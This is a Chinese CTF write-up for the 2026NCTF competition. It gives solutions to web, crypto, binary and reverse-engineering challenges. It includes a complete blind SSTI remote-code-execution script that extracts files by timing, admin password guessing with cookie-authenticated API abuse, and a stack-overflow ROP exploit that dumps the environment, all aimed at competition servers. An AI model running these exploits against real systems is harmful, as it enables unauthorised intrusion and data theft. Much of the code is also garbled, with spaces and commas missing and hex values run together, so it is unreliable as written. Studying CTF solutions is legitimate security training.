2026NCTF Writeup by Mini-Venom

原创 Mini-Venom 2026-04-07 10:30 辽宁

招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)

Web

N-Horse

打ssti盲注

GET /?username={{cycler.__init__.__globals__.os.popen('sleep 5').read()}}&password=1

Exp:

#!/usr/bin/env python3
import argparse
import string
import sys
import time
import requests
DEFAULT_CHARSET = "{}_-" + string.ascii_letters + string.digits
DEFAULT_CANDIDATE_PATHS = [
"/flag",
"/flag.txt",
"/app/flag",
"/app/flag.txt",
"/tmp/flag",
"/home/ctf/flag",
"/home/ctf/flag.txt",
]
classBlindSSTIExploit:
def__init__(self, base_url, delay, timeout, charset, proxy=None):
        self.base_url = base_url.rstrip("/") + "/"
        self.delay = delay
        self.timeout = timeout
        self.charset = charset
        self.session = requests.Session()
if proxy:
            self.session.proxies.update({"http": proxy, "https": proxy})
    @staticmethod
defbuild_payload(command):
        escaped = command.replace("\\""\\\\").replace("'""\\'")
return"{{cycler.__init__.__globals__.os.popen('%s').read()}}" % escaped
defrequest_time(self, payload):
        start = time.time()
try:
            self.session.get(
                self.base_url,
                params={"username": payload, "password""1"},
                timeout=self.timeout,
            )
except requests.RequestException:
pass
return time.time() - start
deforacle(self, command, threshold=None):
        payload = self.build_payload(command)
        elapsed = self.request_time(payload)
        limit = threshold if threshold isnotNoneelse (self.delay - 0.5)
return elapsed > limit, elapsed
defconfirm_rce(self):
        ok, elapsed = self.oracle(f"sleep {self.delay}")
return ok, elapsed
deffind_flag_path(self, paths):
for path in paths:
            ok, elapsed = self.oracle(f"test -f {path} && sleep {self.delay}")
            print(f"[path] {path:<24} hit={ok} time={elapsed:.2f}s")
if ok:
return path
returnNone
defget_length(self, path, max_len):
for size in range(1, max_len + 1):
            ok, elapsed = self.oracle(
f"[ $(wc -c < {path}) -eq {size} ] && sleep {self.delay}"
            )
if ok:
                print(f"[len] {size} time={elapsed:.2f}s")
return size
returnNone
defextract_char(self, path, position):
for ch in self.charset:
            ok, elapsed = self.oracle(
f"[ \"$(cut -c{position}{path})\" = '{ch}' ] && sleep {self.delay}"
            )
if ok:
                print(f"[chr] pos={position:<2} char={ch!r} time={elapsed:.2f}s")
return ch
returnNone
defextract_value(self, path, length):
        value = []
for position in range(1, length + 1):
            ch = self.extract_char(path, position)
if ch isNone:
                print(f"[!] failed at position {position}", file=sys.stderr)
break
            value.append(ch)
            print(f"[cur] {''.join(value)}")
return"".join(value)
defparse_args():
    parser = argparse.ArgumentParser(
        description="Blind Jinja2 SSTI exploit for the N-Horse challenge."
    )
    parser.add_argument(
"-u",
"--url",
        default="http://114.66.24.221:32571/",
        help="Target base URL.",
    )
    parser.add_argument(
"-d",
"--delay",
        type=int,
        default=3,
        help="Sleep delay used by the time-based oracle.",
    )
    parser.add_argument(
"-t",
"--timeout",
        type=int,
        default=8,
        help="HTTP request timeout.",
    )
    parser.add_argument(
"-m",
"--max-len",
        type=int,
        default=80,
        help="Maximum flag length to probe.",
    )
    parser.add_argument(
"-c",
"--charset",
        default=DEFAULT_CHARSET,
        help="Character set for blind extraction.",
    )
    parser.add_argument(
"-p",
"--paths",
        nargs="*",
        default=DEFAULT_CANDIDATE_PATHS,
        help="Candidate flag paths.",
    )
    parser.add_argument(
"--proxy",
        help="Optional proxy URL, for example http://127.0.0.1:8080",
    )
return parser.parse_args()
defmain():
    args = parse_args()
    exploit = BlindSSTIExploit(
        base_url=args.url,
        delay=args.delay,
        timeout=args.timeout,
        charset=args.charset,
        proxy=args.proxy,
    )
    ok, elapsed = exploit.confirm_rce()
    print(f"[rce] confirmed={ok} time={elapsed:.2f}s")
ifnot ok:
        print("[!] RCE confirmation failed", file=sys.stderr)
        sys.exit(1)
    flag_path = exploit.find_flag_path(args.paths)
ifnot flag_path:
        print("[!] no candidate flag path matched", file=sys.stderr)
        sys.exit(1)
    print(f"[+] flag path: {flag_path}")
    length = exploit.get_length(flag_path, args.max_len)
ifnot length:
        print("[!] failed to determine flag length", file=sys.stderr)
        sys.exit(1)
    flag = exploit.extract_value(flag_path, length)
    print(f"[+] final flag: {flag}")
if __name__ == "__main__":
    main()
#python exp.py -u url

N-RustPICA

首页是一个典型 SPA,真正数据靠前端 JS 再去请求 API。

js源码里泄露了很多接口

这一步说明两件事:

  1. 后台确实存在,不是纯前端假页面

  2. 有一个旧流程模板接口 /api/admin/templates/review-flow

登录

默认用户名已经给了:anime_admin

然后针对 anime_admin 试少量强相关密码:

  • anime_admin

  • admin

  • 123456

  • purestream

  • 站点/品牌名变体

关键命中是:

  • 用户名:anime_admin

  • 密码:purestream

登录后台,找到隐藏条目

拿着 Cookie 访问后台列表:

curl -b "nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7" \
  http://114.66.24.221:32833/api/admin/anime

返回里可以看到一条公开页面没有的内部条目:

{
  "id":"anime-0007",
  "name":"内部审片 07",
  "status":"internal"
}
curl -b "nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7" \
  http://114.66.24.221:32833/api/admin/anime/anime-0007

旧流程模板接口:

curl -b "nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7" \
  http://114.66.24.221:32833/api/admin/templates/review-flow

这说明:

  1. 后台仍然支持旧审核流程

  2. 发布内部条目需要完整 JSON

  3. 字段名、大小写、值格式都已经被泄露

直接拿模板去打状态迁移接口:

curl -b "nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7" \
  -H "Content-Type: application/json" \
  -X POST \
  -d "{\"action\":\"publish\",\"targetStatus\":\"published\",\"reviewerToken\":\"FEATURE-REVIEW-2025\",\"featured\":false,\"approvalTicket\":\"PENDING-APPROVAL\"}" \
  http://114.66.24.221:32833/api/admin/anime/anime-0007/transition

exp

import requests
BASE = "http://114.66.24.221:32833"
USERNAME = "anime_admin"
PASSWORD = "purestream"
TARGET_ID = "anime-0007"
s = requests.Session()
def login():
    r = s.post(
        f"{BASE}/api/auth/login",
        json={"username": USERNAME, "password": PASSWORD},
        timeout=10,
    )
    print("[login]", r.status_code, r.text)
    r.raise_for_status()
def list_admin_anime():
    r = s.get(f"{BASE}/api/admin/anime", timeout=10)
    print("[admin list]", r.status_code)
    print(r.text)
    r.raise_for_status()
def get_template():
    r = s.get(f"{BASE}/api/admin/templates/review-flow", timeout=10)
    print("[template]", r.status_code)
    print(r.text)
    r.raise_for_status()
    return r.json()["data"]["payload"]
def publish_hidden_item(payload):
    r = s.post(
        f"{BASE}/api/admin/anime/{TARGET_ID}/transition",
        json=payload,
        timeout=10,
    )
    print("[transition]", r.status_code)
    print(r.text)
    r.raise_for_status()
    return r.json()["data"]
def fetch_public():
    r = s.get(f"{BASE}/api/anime/{TARGET_ID}", timeout=10)
    print("[public]", r.status_code)
    print(r.text)
    r.raise_for_status()
def main():
    login()
    list_admin_anime()
    payload = get_template()
    data = publish_hidden_item(payload)
    print("[flag]", data["description"])
    fetch_public()
if __name__ == "__main__":
    main()

Crypto:

RNG GAME

非预期,seed给你了,你传一个-seed就行

Encryption

有点难绷,看这个函数,很明显可以打pwn试试

前面输入用的gets(s),写了个 strlen(s) <= 64 检查,经典x00 绕过,s 到返回地址的偏移是 0x3e8

payload = b"A\x00" + b"B" * (0x3e8 - 2) + rop_chain

rop打到puts(0x404120),flag在env,ai写个脚本就行了

import socket
import sys
HOST = "114.66.24.221"
PORT = 45625
OFFSET = 0x3E8
RET = 0x401384
WIN = 0x401436
defrecv_until(sock: socket.socket, marker: bytes) -> bytes:
    data = b""
while marker notin data:
        chunk = sock.recv(4096)
ifnot chunk:
break
        data += chunk
return data
defp64(x: int) -> bytes:
return x.to_bytes(8"little")
defbuild_payload() -> bytes:
    prefix = b"A\x00"
    body = b"B" * (OFFSET - len(prefix))
    chain = p64(RET) + p64(WIN)
return prefix + body + chain + b"\n"
defmain() -> None:
with socket.create_connection((HOST, PORT)) as sock:
        banner = recv_until(sock, b"Enter plaintext in chars (max 64 chars):")
        sys.stdout.buffer.write(banner)
        payload = build_payload()
        sock.sendall(payload)
        sock.sendall(b"id\n")
        sock.sendall(b"env\n")
        sock.sendall(b"exit\n")
        out = b""
whileTrue:
            chunk = sock.recv(4096)
ifnot chunk:
break
            out += chunk
        sys.stdout.buffer.write(out)
if __name__ == "__main__":
    main()

Hard_RSA

RSA 参数设计错误 / 连分数恢复私钥

【利用思路】

  1. 读取题目给出的 N,e,c

  2. 对 e / N^6 做连分数展开

  3. 枚举收敛分数,取分母作为候选 d

  4. 验证 pow(pow(2,e,N), d, N) == 2

  5. 用恢复出的 d 解密:m = c^d mod N

from Crypto.Util.number import long_to_bytes
  N =
7491931416296662302678040939463573085135942396204215280467335969606230359294879222523795932572433201519389341189645828
5500680923291830113157053732353835717437056282529643649606999636042375356170625223068407005600597432512115745426297620
503763041544738664221739366981075762409535100379250338620618401995088237
  e =
1153824403638514961639818404863841074925611920439359070589802660868275288864817537092056019777218548066098732559309350
3235209882333675857851474205201766462432088073466850502595023973151957686582380596898621380931508465493173088358286330
9373723686304734918644860412520769285969343584540789781409990492019944165824625815300405767426485317259941101998781323
4114664637773067535840005971643704401304633224724285123598420799123703273039535358472884867922657292715197034394927723
3011029222764893685565282262244129049104632998451966637247546081307659293329283003511688745174518374510090612743167704
8635228709073140092528296564430074027966676751247853438866388663691773416941464827914578065911403270794793189044046310
3618123701557719705293537574753223327216241464106157844527314938761922953377602432457545712660924842168081526560420933
1736613532922579287990041668851687948185505555509004316267249966274661709732412666527915403908735414263189907258359187
5973448566342261418757933958097491430624847778317939143939884707606327061346526895306935081814341167557148974540052519
7644208375041516872450030549456915656444133514687363200447949063269742093913874380805034664126688718002946366424146524
5985156434076104118673576094970348315849796818522310872179048366579621238189976885338169261175873954385632163125064977
1030357257110672427660801480674245151183281118006855095936338551269908982677103650278164957043853181158383261830382128
3735624012787652232638988271174869139150027898591314583555691551090584707803956302609222508026439844685112862314576081
0617559782990517641712522695944468239392218993328870979897380758635248751632971297625794450375551655200515470812229951
5447476835290766731627959030431596313710392337334874777621376729257439721939577794752381362801045781355354034613981044
768946879601448500750228731652608416508751483139575431367276816127751324213761
  c =
4659710183444999541492771613628739079293726348549869560762261327498530391914809927737937049962561673944719228936095789
2792459785981292432370520768029645163669042553465834050214430965629198749117682681268121937191602353019996971164117733
452207322953311422907574742284390173017434719506924876701654539254320355
defcont_frac(n, d):
while d:
          a = n // d
yield a
          n, d = d, n - a * d
defconvergents(cf):
      p0, p1 = 01
      q0, q1 = 10
for a in cf:
          p0, p1 = p1, a * p1 + p0
          q0, q1 = q1, a * q1 + q0
yield p1, q1
for k, d in convergents(cont_frac(e, N**6)):
if d and pow(pow(2, e, N), d, N) == 2:
          print(long_to_bytes(pow(c, d, N)))
break

Reverse:

Pay For 2048

核心逻辑在app.asar里面,里面有个wasm,wasm2c wasm_core.wasm > 1.c转成c看看,flag校验是通过NCTF-XXXX-XXXX-XXXX这12位X校验的,自定义hash是0xFC97CA2F,hash逻辑是

functionrol(x, n{
return ((x << n) | (x >>> (32 - n))) >>> 0;
  }
functioncheck(norm{
let b = 4951 >>> 0;
for (let c = 0; c < norm.length; c++) {
const f = norm.charCodeAt(c) >>> 0;
const sel = (c & 1) ? 40503 : 17881;
const t1 = ((((sel + f) >>> 0) * (c + 11)) >>> 0 ^ rol(b, 3)) >>> 0;
const t2 = (((f << (c % 5)) >>> 0) ^ 0xA5A55A5A) >>> 0;
      b = (t1 + t2) >>> 0;
    }
return b === 0xFC97CA2F;
  }

unlock_flag 里用固定密文和 normalized_key + "|arcade::unlock-seed" 做按字节异或,固定字符串 "| arcade::unlock-seed" 直接出现在 rodata 中。flag是uuid格式,这样可以得到前五位必定是RU57W

那么枚举后6位爆hash就行了

key是NCTF-RU57-W45M-2048

调用wasm就能拿到flag NCTF{bff16266-c4f2-4dbb-b270-f5ded900b54c}

const fs = require('fs');
const bytes = fs.readFileSync('wasm_core.wasm');
(async () => {
const { instance } = await WebAssembly.instantiate(bytes, {});
const te = new TextEncoder();
const td = new TextDecoder();
functioncall(name, payload{
const input = te.encode(JSON.stringify(payload));
const ptr = instance.exports.alloc(input.length);
let mem = newUint8Array(instance.exports.memory.buffer);
      mem.set(input, ptr);
const packed = BigInt(instance.exports[name](ptr, input.length));
      mem = newUint8Array(instance.exports.memory.buffer);
      instance.exports.free(ptr, input.length);
const outPtr = Number(packed & 0xffffffffn);
const outLen = Number((packed >> 32n) & 0xffffffffn);
const out = td.decode(mem.slice(outPtr, outPtr + outLen));
      instance.exports.free(outPtr, outLen);
returnJSON.parse(out);
    }
const key = 'NCTF-RU57-W45M-2048';
const verify = call('verify_license', {
      key,
score0,
steps0,
maxTile256,
boardArray(16).fill(0),
sessionToken''
    });
console.log('verify =', verify);
const unlock = call('unlock_flag', {
      key,
score0,
steps0,
maxTile2048,
boardArray(16).fill(0),
sessionToken: verify.data.sessionToken
    });
console.log('unlock =', unlock);
  })();

VM Encryptor

命令行程序,vm在偏移1270h,写了个vm解释器

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from __future__ import annotations
import argparse
from dataclasses import dataclass, field
from pathlib import Path
from typing import List
MEM_SIZE = 0x10000
STACK_SIZE = 0x1000
OPNAMES = {
0x00"JMP",
0x01"JZ",
0x02"JNZ",
0x03"PUSH8",
0x04"PUSH32",
0x05"LOAD8",
0x06"LOAD32",
0x07"POP",
0x08"STORE8",
0x09"STORE32",
0x0A"ADD",
0x0B"SUB",
0x0C"MUL",
0x0D"DIV",
0x0E"MOD",
0x0F"AND",
0x10"OR",
0x11"NOT",
0x12"XOR",
0x13"SHL",
0x14"SHR",
0x15"EQ",
0x16"EQ2",
0x17"NE",
0x18"LT",
0x19"GT",
0x1A"LE",
0x1B"GE",
0x1C"DUP",
0x1D"SWAP",
0x1E"CALL",
0x1F"RET",
0x20"PRINT",
0xFF"HALT",
}
defu32(v: int) -> int:
return v & 0xFFFFFFFF
defi32(v: int) -> int:
    v &= 0xFFFFFFFF
return v if v < 0x80000000else v - 0x100000000
defrd_u32(mem: bytearray, addr: int) -> int:
ifnot (0 <= addr <= 0xFFFC):
raise ValueError("mem oob")
return int.from_bytes(mem[addr : addr + 4], "little")
defwr_u32(mem: bytearray, addr: int, val: int) -> None:
ifnot (0 <= addr <= 0xFFFC):
raise ValueError("mem oob")
    mem[addr : addr + 4] = u32(val).to_bytes(4"little")
defrd_imm32(mem: bytearray, ip: int) -> int:
if ip + 4 >= MEM_SIZE:
raise ValueError("ip oob")
return int.from_bytes(mem[ip + 1 : ip + 5], "little")
@dataclass
classVM:
    mem: bytearray = field(default_factory=lambda: bytearray(MEM_SIZE))
    stack: List[int] = field(default_factory=lambda: [0] * STACK_SIZE)
    ip: int = 0
    sp: int = 0
    running: int = 1
    error: int = 0
defpush(self, v: int):
if self.sp > 0xFFF:
            self.error, self.running = 20
return
        self.stack[self.sp] = u32(v)
        self.sp += 1
defpop(self) -> int:
if self.sp == 0:
            self.error, self.running = 30
return0
        self.sp -= 1
return self.stack[self.sp]
defbinop(self, fn):
if self.sp < 2:
            self.error, self.running = 30
return
        b = self.pop()
        a = self.pop()
if self.error:
return
        self.push(fn(a, b))
defstep(self, trace=False):
if self.error ornot self.running:
return
        op = self.mem[self.ip]
if trace:
            top = self.stack[self.sp - 1if self.sp elseNone
            print(f"ip={self.ip:04x} op={op:02x}{OPNAMES.get(op,'?')} sp={self.sp} top={top}")
try:
if op == 0x00:  # JMP imm32
                self.ip = rd_imm32(self.mem, self.ip)
elif op == 0x01:  # JZ imm32 (pop)
                dst = rd_imm32(self.mem, self.ip)
                self.ip += 5
                v = self.pop()
if self.error:
return
if v == 0:
                    self.ip = dst
elif op == 0x02:  # JNZ imm32 (pop)
                dst = rd_imm32(self.mem, self.ip)
                self.ip += 5
                v = self.pop()
if self.error:
return
if v != 0:
                    self.ip = dst
elif op == 0x03:  # PUSH8 imm8
                self.push(self.mem[self.ip + 1])
                self.ip += 2
elif op == 0x04:  # PUSH32 imm32
                self.push(rd_imm32(self.mem, self.ip))
                self.ip += 5
elif op == 0x05:  # LOAD8 [addr]
                addr = self.pop()
if self.error:
return
ifnot (0 <= addr <= 0xFFFF):
                    self.error, self.running = 40
return
                self.push(self.mem[addr])
                self.ip += 1
elif op == 0x06:  # LOAD32 [addr]
                addr = self.pop()
if self.error:
return
                self.push(rd_u32(self.mem, addr))
                self.ip += 1
elif op == 0x07:  # POP
                _ = self.pop()
                self.ip += 1
elif op == 0x08:  # STORE8 [addr] = value
                addr = self.pop()
if self.error:
return
                val = self.pop()
if self.error:
return
ifnot (0 <= addr <= 0xFFFF):
                    self.error, self.running = 40
return
                self.mem[addr] = val & 0xFF
                self.ip += 1
elif op == 0x09:  # STORE32 [addr] = value
                addr = self.pop()
if self.error:
return
                val = self.pop()
if self.error:
return
                wr_u32(self.mem, addr, val)
                self.ip += 1
elif op == 0x0A:
                self.binop(lambda a, b: a + b)
                self.ip += 1
elif op == 0x0B:
                self.binop(lambda a, b: a - b)
                self.ip += 1
elif op == 0x0C:
                self.binop(lambda a, b: a * b)
                self.ip += 1
elif op == 0x0D:  # DIV
if self.sp < 2:
                    self.error, self.running = 30
return
                b = self.pop()
                a = self.pop()
if b == 0:
                    self.error, self.running = 50
return
                self.push(i32(a) // i32(b))
                self.ip += 1
elif op == 0x0E:  # MOD
if self.sp < 2:
                    self.error, self.running = 30
return
                b = self.pop()
                a = self.pop()
if b == 0:
                    self.error, self.running = 50
return
                self.push(i32(a) % i32(b))
                self.ip += 1
elif op == 0x0F:
                self.binop(lambda a, b: a & b)
                self.ip += 1
elif op == 0x10:
                self.binop(lambda a, b: a | b)
                self.ip += 1
elif op == 0x11:
if self.sp < 1:
                    self.error, self.running = 30
return
                self.stack[self.sp - 1] = u32(~self.stack[self.sp - 1])
                self.ip += 1
elif op == 0x12:
                self.binop(lambda a, b: a ^ b)
                self.ip += 1
elif op == 0x13:
                self.binop(lambda a, b: u32(a << (b & 0x1F)))
                self.ip += 1
elif op == 0x14:
                self.binop(lambda a, b: (a & 0xFFFFFFFF) >> (b & 0x1F))
                self.ip += 1
elif op in (0x150x16):
                self.binop(lambda a, b: 1if a == b else0)
                self.ip += 1
elif op == 0x17:
                self.binop(lambda a, b: 1if a != b else0)
                self.ip += 1
elif op == 0x18:
                self.binop(lambda a, b: 1if i32(a) < i32(b) else0)
                self.ip += 1
elif op == 0x19:
                self.binop(lambda a, b: 1if i32(a) > i32(b) else0)
                self.ip += 1
elif op == 0x1A:
                self.binop(lambda a, b: 1if i32(a) <= i32(b) else0)
                self.ip += 1
elif op == 0x1B:
                self.binop(lambda a, b: 1if i32(a) >= i32(b) else0)
                self.ip += 1
elif op == 0x1C:  # DUP
if self.sp < 1:
                    self.error, self.running = 30
return
                self.push(self.stack[self.sp - 1])
                self.ip += 1
elif op == 0x1D:  # SWAP
if self.sp < 2:
                    self.error, self.running = 30
return
                self.stack[self.sp - 1], self.stack[self.sp - 2] = self.stack[self.sp - 2], self.stack[self.sp - 1]
                self.ip += 1
elif op == 0x1E:  # CALL imm32
                dst = rd_imm32(self.mem, self.ip)
                self.push(self.ip + 5)
if self.error:
return
                self.ip = dst
elif op == 0x1F:  # RET
                self.ip = self.pop()
elif op == 0x20:  # PRINT
                addr = self.pop()
if self.error:
return
ifnot (0 <= addr <= 0xFFFF):
                    self.error, self.running = 40
return
                out = []
while addr < MEM_SIZE and self.mem[addr] != 0:
                    out.append(self.mem[addr])
                    addr += 1
if addr >= MEM_SIZE:
                    self.error, self.running = 40
return
                print(bytes(out).decode("latin1", errors="replace"))
                self.ip += 1
elif op == 0xFF:  # HALT
                self.ip += 1
                self.running = 0
else:
                self.error, self.running = 10
except ValueError:
            self.error, self.running = 40
defrun(self, max_steps=5_000_000, trace=False):
        steps = 0
while self.running and self.error == 0:
            self.step(trace=trace)
            steps += 1
if steps >= max_steps:
                self.error, self.running = 60
break
return steps
defdisasm(code: bytes, start=0, count=256):
    i = start
    end = min(len(code), start + count)
while i < end:
        op = code[i]
        name = OPNAMES.get(op, f"OP_{op:02X}")
if op in (0x000x010x020x040x1E):
if i + 5 <= len(code):
                imm = int.from_bytes(code[i + 1 : i + 5], "little")
                print(f"{i:06x}{op:02x}{name:<7} 0x{imm:08x}")
else:
                print(f"{i:06x}{op:02x}{name:<7} <truncated>")
            i += 5
elif op == 0x03:
            imm = code[i + 1if i + 1 < len(code) else0
            print(f"{i:06x}{op:02x}{name:<7} 0x{imm:02x}")
            i += 2
else:
            print(f"{i:06x}{op:02x}{name}")
            i += 1
defmain():
    ap = argparse.ArgumentParser(description="vm-encryptor VM helper")
    ap.add_argument("code", help="path to code.bin")
    ap.add_argument("--flag", default="", help="inject flag at mem[0x1000]")
    ap.add_argument("--trace", action="store_true", help="trace each instruction")
    ap.add_argument("--max-steps", type=int, default=2_000_000)
    ap.add_argument("--disasm", action="store_true", help="disasm only")
    ap.add_argument("--start", type=lambda x: int(x, 0), default=0)
    ap.add_argument("--count", type=int, default=512)
    args = ap.parse_args()
    code = Path(args.code).read_bytes()
if args.disasm:
        disasm(code, start=args.start, count=args.count)
return
    vm = VM()
    vm.mem[: len(code)] = code
# 主程序会把用户输入复制到 VM 内存偏移 0x1000
    data = args.flag.encode("latin1", errors="ignore")[:42]
    vm.mem[0x1000 : 0x1000 + len(data)] = data
if0x1000 + len(data) < MEM_SIZE:
        vm.mem[0x1000 + len(data)] = 0
    steps = vm.run(max_steps=args.max_steps, trace=args.trace)
    print(f"\n[VM] steps={steps} halted={not vm.running} error={vm.error} ip=0x{vm.ip:08x} sp={vm.sp}")
if __name__ == "__main__":
    main()

然后分析code.bin,程序的核心验证逻辑是:将长为 42 字节的用户输入以每 3 字节(24 bits)为一组进行读取,经过三轮按位循环左移(ROL24)和对应的 XOR 运算后,将结果进行标准 Base64 编码,最后再把生成的 Base64 字符串逐字符与 0x63 进行异或,并同内置密文(275a0b080a3a090d30314c37023a120e542a4c302c3211270631563712264c3728325b375500481a0201112716004c372407113401365b27)比较。

Exp
import base64
defrotl24(v, amount):
    amount %= 24
return ((v << amount) | (v >> (24 - amount))) & 0xFFFFFF
defrotr24(v, amount):
    amount %= 24
return ((v >> amount) | (v << (24 - amount))) & 0xFFFFFF
defdecrypt_block(v_out):
    v = v_out
    v = rotr24(v, 20)
    v = v ^ 0x55757d
    v = rotr24(v, 11)
    v = v ^ 0x55757d
    v = rotr24(v, 5)
return v
defsolve():
    b64_str = 'D9hkiYjnSR/TaYqm7I/SOQrDeR5TqE/TKQ8T6c+yabrDuc/TGdrWbU8D'
    raw_bytes = base64.b64decode(b64_str)
    flag = bytearray()
for i in range(0, len(raw_bytes), 3):
        v_out = (raw_bytes[i] << 16) | (raw_bytes[i+1] << 8) | raw_bytes[i+2]
        v_in = decrypt_block(v_out)
        flag.append((v_in >> 16) & 0xFF)
        flag.append((v_in >> 8) & 0xFF)
        flag.append(v_in & 0xFF)
    print("Flag:", flag.decode('latin1', errors='replace'))
if __name__ == '__main__':
    solve()
# NCTF{1578be15-ad09-4859-9193-5d52585eb485}

No My Bank!

加密密钥d34bff62613fdd2861f6d5942c5e99a53ef3e90adbe9091b4686859d5b7dab22

可以提出来文件,分析

好像主要逻辑还在exe里面?

gd是游戏逻辑,校验主逻辑在dll,dump出来_libextension.dll,里面通过^ 0xBA解密了一段逻辑

是一个魔改base64 + 其中一个key为0x114514的xor,用这段逻辑解密题目的比较字符串然后替换三个字符成数字即可

EncFlag = [
0x2B0xF70x670x5E0x7C0x980xED0x6D0xD10x8C0xEF0x57,
0xBB0x330x220x7E0xB20x1F0x340x5B0x360x6C0x2B0xAF,
0xBB0x5B0x120xD60x3C0x0A0x450x270x840x6C0x470xAB,
0x2F0x750x780x3E0x880x890x2D0x7A0xCD0x5C0xF60xFA,
0x360x730xFF0x6E0xD30x4C0x1C0x75,
]
ALPHABET = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"
SEED_INIT = 0x114514
LCG_MULTIPLIER = 0x01010193
LCG_INCREMENT = 0x12345678
defror8(value: int, count: int) -> int:
    count &= 7
return ((value >> count) | ((value << (8 - count)) & 0xFF)) & 0xFF
defundo_stream_transform(data: bytes) -> bytes:
    seed = SEED_INIT
    output = bytearray()
for index, value in enumerate(data):
        mask = (seed >> ((index * 8) % 24)) & 0xFF
        restored = ror8(value ^ 0xBA2) ^ mask
        output.append(restored)
        seed = (seed * LCG_MULTIPLIER + LCG_INCREMENT) & 0xFFFFFFFF
return bytes(output)
defunswap_quartets(data: bytes) -> bytes:
if len(data) % 4 != 0:
raise ValueError("encoded data length must be a multiple of 4")
    output = bytearray()
for index in range(0, len(data), 4):
        a, b, c, d = data[index:index + 4]
        output.extend((b, a, d, c))
return bytes(output)
defdecode_custom_base64(encoded: bytes) -> bytes:
    lookup = {ch: index for index, ch in enumerate(ALPHABET)}
    output = bytearray()
for index in range(0, len(encoded), 4):
        c1, c2, c3, c4 = (chr(byte) for byte in encoded[index:index + 4])
        v1 = lookup[c1]
        v2 = lookup[c2]
        v3 = 0if c3 == "="else lookup[c3]
        v4 = 0if c4 == "="else lookup[c4]
        output.append(((v1 << 2) | (v2 >> 4)) & 0xFF)
if c3 != "=":
            output.append((((v2 & 0x0F) << 4) | (v3 >> 2)) & 0xFF)
if c4 != "=":
            output.append((((v3 & 0x03) << 6) | v4) & 0xFF)
return bytes(output)
defrecover_flag(EncFlag: bytes) -> tuple[str, str, str]:
    swapped = undo_stream_transform(EncFlag)
    normal = unswap_quartets(swapped)
    raw_flag = decode_custom_base64(normal).decode("ascii")
    display_flag = raw_flag.replace("o""0").replace("e""3").replace("i""1")
return swapped.decode("ascii"), raw_flag, display_flag
if __name__ == "__main__":
    swapped_text, raw_flag, display_flag = recover_flag(EncFlag)
    print(swapped_text)
    print(raw_flag)
    print(display_flag)
IDA_7ffc3254f000 = [0xf60x330xfe0x9e0xa20xf20x330xee0x9e0xaa0xf20x330xf60x9e0xb20xf20x3b0x560xb20xbb0xba0xba0x7c0xfe0x9e0x8a0x1f0x7c0xfe0x9e0x8b0x1c0x7c0xfe0x9e0x880x1d0x7c0xfe0x9e0x890x120x7c0xfe0x9e0x8e0x130x7c0xfe0x9e0x8f0x100x7c0xfe0x9e0x8c0x110x7c0xfe0x9e0x8d0x160x7c0xfe0x9e0x820x170x7c0xfe0x9e0x830x140x7c0xfe0x9e0x800x150x7c0xfe0x9e0x810xa0x7c0xfe0x9e0x860xb0x7c0xfe0x9e0x870x80x7c0xfe0x9e0x840x90x7c0xfe0x9e0x850xe0x7c0xfe0x9e0xfa0xf0x7c0xfe0x9e0xfb0xc0x7c0xfe0x9e0xf80xd0x7c0xfe0x9e0xf90x20x7c0xfe0x9e0xfe0x30x7c0xfe0x9e0xff0x00x7c0xfe0x9e0xfc0x10x7c0xfe0x9e0xfd0x60x7c0xfe0x9e0xf20x70x7c0xfe0x9e0xf30x40x7c0xfe0x9e0xf00x3f0x7c0xfe0x9e0xf10x3c0x7c0xfe0x9e0xf60x3d0x7c0xfe0x9e0xf70x320x7c0xfe0x9e0xf40x330x7c0xfe0x9e0xf50x300x7c0xfe0x9e0xea0x310x7c0xfe0x9e0xeb0x360x7c0xfe0x9e0xe80x370x7c0xfe0x9e0xe90x340x7c0xfe0x9e0xee0x350x7c0xfe0x9e0xef0x2a0x7c0xfe0x9e0xec0x2b0x7c0xfe0x9e0xed0x280x7c0xfe0x9e0xe20x290x7c0xfe0x9e0xe30x2e0x7c0xfe0x9e0xe00x2f0x7c0xfe0x9e0xe10x2c0x7c0xfe0x9e0xe60x2d0x7c0xfe0x9e0xe70x220x7c0xfe0x9e0xe40x230x7c0xfe0x9e0xe50x200x7c0xfe0x9e0xda0x210x7c0xfe0x9e0xdb0x260x7c0xfe0x9e0xd80x270x7c0xfe0x9e0xd90x240x7c0xfe0x9e0xde0x7c0x7c0xfe0x9e0xdf0x7d0x7c0xfe0x9e0xdc0x720x7c0xfe0x9e0xdd0x730x7c0xfe0x9e0xd20x700x7c0xfe0x9e0xd30x710x7c0xfe0x9e0xd00x760x7c0xfe0x9e0xd10x770x7c0xfe0x9e0xd60x740x7c0xfe0x9e0xd70x750x7c0xfe0x9e0xd40x6e0x7c0xfe0x9e0xd50x6a0x7d0xfe0x9e0xaa0xba0xba0xba0xba0x510xb00x310xfe0x9e0xaa0x450x7a0x330xfe0x9e0xaa0x390xc60x9e0xaa0xfa0xc70xa70xf20xd90xfe0x9e0xaa0xb50x40xfe0xbe0x8a0x8f0x450xba0xba0xba0xf20xd90xf60x9e0xaa0x320x3e0xb60xa0xba0xba0xba0x510x680x7d0xfe0x9e0xbe0xba0xba0xba0xba0x7d0xfe0x9e0xae0x920xba0xba0xba0x7d0xbe0x9e0xba0xba0xba0xba0x510xb30x310xbe0x9e0x390x7a0xb90x330xbe0x9e0x310xfe0x9e0xae0x830xbe0x9e0xb50x370x6b0xbb0xba0xba0xf20xd90xbe0x9e0xf20x310x360x9e0xaa0xbb0xba0xba0xb50xc0xbe0xbb0x320xfe0x9e0xb70x310xbe0x9e0x450x7a0x810xfe0x9e0xae0xc70xa30x310xbe0x9e0x450x7a0xf20x220xf20x310x360x9e0xaa0xbb0xba0xba0xb50xc0xbe0xbb0x330xfe0x9e0xa60x510xb20x7d0xfe0x9e0xa60xba0xba0xba0xba0xb50xc0xfe0x9e0xa60x320xfe0x9e0xb40x310xbe0x9e0x390x7a0xb80x810xfe0x9e0xae0xc70xa00x310xbe0x9e0x390x7a0xb80xf20x220xf20x310x360x9e0xaa0xbb0xba0xba0xb50xc0xbe0xbb0x330xfe0x9e0x9a0x510xb20x7d0xfe0x9e0